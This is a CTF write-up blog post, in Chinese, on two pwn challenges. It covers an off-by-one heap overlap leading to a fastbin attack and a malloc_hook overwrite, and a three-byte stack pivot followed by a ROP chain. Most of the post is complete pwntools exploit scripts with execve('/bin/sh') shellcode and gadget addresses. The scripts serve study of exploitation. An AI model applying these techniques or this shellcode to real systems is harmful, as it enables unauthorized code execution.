ctf

湖湘杯和红帽杯部分赛题复现

pwn and reverse

Posted by wjt on November 17, 2019

湖湘杯和红帽杯部分赛题复现

HackNote
  • 漏洞点: off by one(准确的来说这里可以说是off by heap_size)
  • 利用姿势: overlap, fastbin attack, malloc hook

太菜鸡, 遇到个静态编译, 没有符号表我就差点认不出strlen函数了…

不仅仅是strlen函数, 还有strcpy, strcmp, puts, gets等, 遇到\x00才会截断. 这是因为\x00的特殊_含义, 代表了文件结束符…所以说以后遇到字符串操作的函数, 找漏洞点的时候都应该去考虑这个点.

首先看程序流, 堆菜单有add, delete, edit三个函数, bss段有一个数组用于存储堆地址, 并在数组的偏移16个地址单位存有堆的size, 没有问题. delete函数free后将指针置零,也没有问题. 问题出在edit函数.

如图, note_list是存储堆地址的数组, 那偏移16就是在存储size, 调试一下就知道这个数字随着每次输入的长度而改变. 猜测那个sub_0_424590就是strlen函数.

自然联想到off by one, 我们申请不对齐的空间(多0x8),就可以将下个堆块的size读入进来, 也就是说下次可以多读入堆的size这个字段所占的字节数.

由于这里没有对堆块大小的限制, 于是我们考虑比较容易利用的overlap.通过fastbin attack修改fd来实现修改malloc_hook来getshell.

申请0x18, 0x108, 0x100,0x10大小空间, 分布如下

然后我们释放堆块1, 通过堆块0的off by one 修改堆块1的0x110为0x100, 这样堆块2前就会有0x10的空闲空间, 这是为了接下来overlap的时候绕过验证.

然后申请0x80,0x30,0x20大小空间, 现在分布如下

由于之前释放堆块1的时候, 堆块2的prev_size变为了0x110, 而堆块2之前的存有的0x10空间,所以怎么也不会影响到prev_size, 于是我们释放堆块1,2,4, 其中2实现overlap,现在将堆块分布如下.

插一句, 我们通过overlap构造fastbin attack中的fastbin是现在的堆块2.

所以我们申请0xa0和0x30的空间, 前者大小能覆盖到后者堆块的fd位置就好, 并提前写入想attack的位置, 这样后者分配时就会将已写好的地址视为fd的指向,下次申请相同大小的空间时就会先申请fd指向的空间.

最后在malloc_hook注入shellcode地址即可.

exp1, 我写了自己的注释

exp2, 是郁离歌师傅的exp, 思路和exp1有所不同, 以后等熟练malloc_hook等的利用方式再对比来看.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#-*-coding:utf8-*-
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.log_level = 'debug'
#if args['REMOTE']:
#p = remote('183.129.189.62',21904)
#else:
p = process('./HackNote')

def add(size, note):
    p.sendline('1')
    p.sendlineafter('Input the Size:', str(size))
    p.sendlineafter('Input the Note:', note)
    #p.recvuntil('Add Done!')

def free(index):
    p.sendline('2')
    p.sendlineafter('Input the Index of Note:', str(index))

def edit(index, new_note):
    p.sendline('3')
    p.sendlineafter('Input the Index of Note:', str(index))
    p.sendlineafter('Input the Note:', new_note)

def debug():
    print('malloc_hook 0x6cb788')
    print('fake_size 0x6cb830')
    print('fake_top 0x6cc290')
    print('note_list 0x6CBC40')
    print('heap 0x6cf870')
    gdb.attach(p)

def pwn():
    malloc_hook = 0x6CB788
    fake = malloc_hook-0x16
    
    add(0x18,'0\n') #0
    add(0x108,'\x00'*0xf0+p64(0x100)+'\n') #1
    add(0x100,'2\n')#2
    add(0x10,'3\n')#3
    free(1)
    edit(0,'0'*0x18)
    edit(0,'0'*0x18+p16(0x100)) 
    #110 -> 100 
    add(0x80,'111\n')#1
    add(0x30,'4\n')#4
    add(0x20,'5\n')#5
    free(1)
    free(2)
    free(4)
    #0x6cf8a0 0x6cf9b0 0x6cf930
    #chunk overlap, overlap #5->0x6cf970
    #get a chunk which is 0x210 
    add(0xa0,'0'*0x88+p64(0x41)+p64(fake)+p64(0))#1 #let 0x6cf930 fake
    add(0x30,'2\n')#2
    #0x6cf930 (0x6cb722 -> 0x6c0032)
    shellcode=""
    shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
    shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
    shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
    add(0x38,'\x00'*0x6+p64(malloc_hook+8)+shellcode+'\n')
    debug()
    p.interactive()

pwn()

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
#r=process('./HackNote')
r=remote('183.129.189.62',11104)
context(arch = 'amd64', os = 'linux')
def gd():
    gdb.attach(r)
    pause()

def add(size,content):
    r.sendlineafter('-----------------','1')
    r.sendlineafter('nput the Size:',str(size))
    r.sendafter('he Note:',content)

def free(idx):
    r.sendlineafter('-----------------','2')
    r.sendlineafter('the Index of Note:',str(idx))

def edit(idx,content):
    r.sendlineafter('-----------------','3')
    r.sendlineafter('Note',str(idx))
    r.sendafter('Input the Note:',content)

fake=0x06CBC40
free_hook=0x6CD5E8
malloc_hook=0x6CB788
sc=asm(shellcraft.sh())
sc='''
xor rdi,rdi
push 0x6cbc40
pop rsi
push 0x100
pop rbx
push 0
pop rax
syscall
push 0x6cbc40
ret
'''
sc=asm(sc)
print shellcraft.sh()
print hex(len(sc))
add(0xf8,p64(0)+p64(0xf1)+p64(fake-0x18)+p64(fake-0x10)+p64(0)*26+p64(0xf0))#0
add(0xf8,'aaaan')#1
add(0x38,'bbbbn')#2
add(0x50,'ccccn')#3
edit(0,'a'*0xf8)
edit(0,p64(0xffffffffffffffff)+p64(0xf1)+p64(fake)+p64(fake+8)+p64(0)*26+p64(0xf0)+'x41'+'x01')
free(1)
add(0xf8,'aaaan')#1
add(0x38,p64(malloc_hook-0xe-8)+'n')#4
free(2)
edit(4,p64(malloc_hook-0xe-8)+'n')
add(0x38,p64(malloc_hook-0xe-8)+'n')#2
add(0x38,'a'*6+p64(malloc_hook+8)+sc+'n')
r.sendline('1')
r.recvuntil('Input the Size:n')
r.sendline('123')
r.sendline(asm(shellcraft.sh()))
r.interactive()
three
  • 漏洞: 文件读取服务器上的flag
  • 利用姿势: 这种题关键是理解程序逻辑, 注意细节. 一般考虑fsb, 下标越界, 整数溢出等, 只是没想到要植入汇编… 可以类比pwnable.tr上的orw

我一开始被前面出现的一个函数误导了, 天真地以为这里和flag进行对比完之后就可以获取正确flag(逆向思路?) 结果发现最后还是得获取权限…

这个函数长这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int sub_0_80488C5()
{
  int *v1; // [esp+Ch] [ebp-Ch]

  sub_0_8050890(off_0_80F5438, 0, 2, 0);
  sub_0_8050890(off_0_80F543C, 0, 2, 0);
  sub_0_8050890(off_0_80F5434[0], 0, 2, 0);
  v1 = (int *)sub_0_80505B0((int)"./flag", (int)&unk_0_80C4788);
  if ( !v1 )
    exit(0);
  sub_0_80505D0((int)&unk_0_80F6CA0, 1u, 32, v1);
  sub_0_8050100(v1);
  return sub_0_8070760(0);
}

如果该目录下没有flag这个文件,则直接终止. 所以现在pwn文件同目录中创建一个flag文件.

然后checksec发现没开pie.

函数的主要部分在这

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int sub_0_8048B5C()
{
  int result; // eax
  char v1; // [esp-10h] [ebp-38h]
  int v2; // [esp-Ch] [ebp-34h]
  int size; // [esp+Ch] [ebp-1Ch]
  int chr; // [esp+10h] [ebp-18h]
  void *ptr; // [esp+14h] [ebp-14h]
  int v6; // [esp+18h] [ebp-10h]
  unsigned int v7; // [esp+1Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  myprint((int)"Give me a index:");
  chr = get_the_char(array);

  ptr = (void *)sub_0_8071C50(0, 0x1000u, 7, 34, 0, 0);
  myprint((int)"Three is good number,I like it very much!");
  read(0, ptr, 3u);
  myprint((int)"Leave you name of size:");
  scanf("%d", &size);
  if ( size < 0 || size > 0x200 )
    exit(0);
  myprint((int)"Tell me:");
  read(0, &unk_0_80F6CC0, size - 1);
  v6 = ((int (__cdecl *)(signed int))ptr)(1);
  if ( chr == v6 )
    result = myprint((int)"1");
  else
    result = myprint((int)"2");
  if ( __readgsdword(0x14u) != v7 )
    result = sub_0_8073110(v1, v2);
  return result;
}

函数逻辑比较清晰, 就是读三个字节执行,然后和 flag 进行判断。看汇编, 发现这确实是个调用了一个函数.

那就下断点静态调试, 下在0x8048c50, 慢慢过去.

输入如图, 两个字符串分别为abc,cba

看到步进到0x8048c5b的前后对比. eip指向的指令是call eax, 而eax地址内的内容是我们刚输入的 abc,而ecx地址内的内容是刚刚输入的 cba, 所以现在的漏洞利用思路是 将eax转换成一条交换指令, 使ecx地址内的内容和esp交换,而ecx内的内容是我们植入的恶意代码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.arch = 'i386'
sh = process('./pwn')
sh.sendlineafter('index:\n', str(0))
payload = asm('''
xchg ecx, esp
ret
''')
sh.sendafter('much!\n',payload)
sh.sendlineafter('size:\n',str(0x1ff))

layout = [
    0x08072fb1, 
    0,
    0,
    0x80f6d00,
    0x080c11e6,
    11,
    0x080738c0,    
]
sh.sendafter('me:\n',flat(layout).ljust(0x40, '\0')+ '/bin/sh\0')
sh.interactive()

这里的限制0x40没去深入理解, 调了发现0x40可以就放着儿了, 清晰点的逻辑也可看下面这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level = 'debug'

#p = process('./pwn')
p = remote()
p.sendlineafter('Give me a index:','3')
migStack = '\x89\xcc\xc3'
p.sendafter('Three is good number,I like it very much!',migStack)
binsh_len = len('/bin/sh\x00')
pop_ecx_ebx = 0x08072fb2
pop_eax_edx_ebx = 0x080568b4
int80 = 0x08049903
shellcode = p32(pop_ecx_ebx) + p32(0) + p32(0) +p32(pop_eax_edx_ebx) + p32(0xb) + p32(0) + p32(0x80f6ce1) + p32(int80)
p.sendlineafter('Leave you name of size:','500')
p.sendlineafter('Tell me:',shellcode +'\x00'+'/bin/sh\x00')
p.interactive()